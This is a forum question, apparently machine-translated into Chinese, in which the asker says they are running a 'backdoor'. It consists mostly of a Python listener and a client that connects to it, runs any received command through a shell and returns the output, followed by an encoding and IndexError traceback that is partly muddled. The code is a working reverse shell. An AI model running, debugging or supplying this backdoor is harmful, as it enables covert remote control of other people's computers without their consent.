python - 子进程索引错误:Ipconfig 损坏但目录工作?
问题描述
尝试使用子进程模块运行后门。运行 ipconfig 命令时出现索引错误,但 dir 命令运行良好,详情如下,有什么想法吗?
服务器
import socket
class Server:
def __init__(self, host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(0)
(self.connection, self.address) = sock.accept()
print(f"New connection from --> {self.address[0]}")
def command_execution(self, command_input):
self.connection.send(command_input)
return self.connection.recv(2048).decode()
def start(self):
while True:
command_input = input(">> ")
data = self.command_execution(command_input.encode())
print(data)
listener_one = Server("192.168.1.46", 8080)
listener_one.start()
客户
import socket
import subprocess
class Client:
def __init__(self, host, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((host, port))
def command_execution(self, command):
return subprocess.check_output(command, shell=True)
def start(self):
while True:
command = self.connection.recv(2048)
command_output = self.command_execution(command.decode())
self.connection.send(command_output.encode())
client_one = Client("192.168.1.46", 8080)
client_one.start()
Input on client --> python3 my_server.py
New connection from --> 192.168.1.38
>> ipconfig
服务器上的输出 -->
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 932, in _bootstrap_inner
self.run()
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1366, in _readerthread
buffer.append(fh.read())
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\encodings\cp1254.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 69: character maps to <undefined>
Traceback (most recent call last):
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 21, in <module>
client_one.start()
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 16, in start
command_output = self.command_execution(command.decode())
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 11, in command_execution
return subprocess.check_output(command, shell=True)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 411, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\site-packages\run\__init__.py", line 168, in stdout
return std_output(self.process.communicate()[0])
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1024, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1416, in _communicate
stdout = stdout[0]
IndexError: list index out of range
Process finished with exit code 1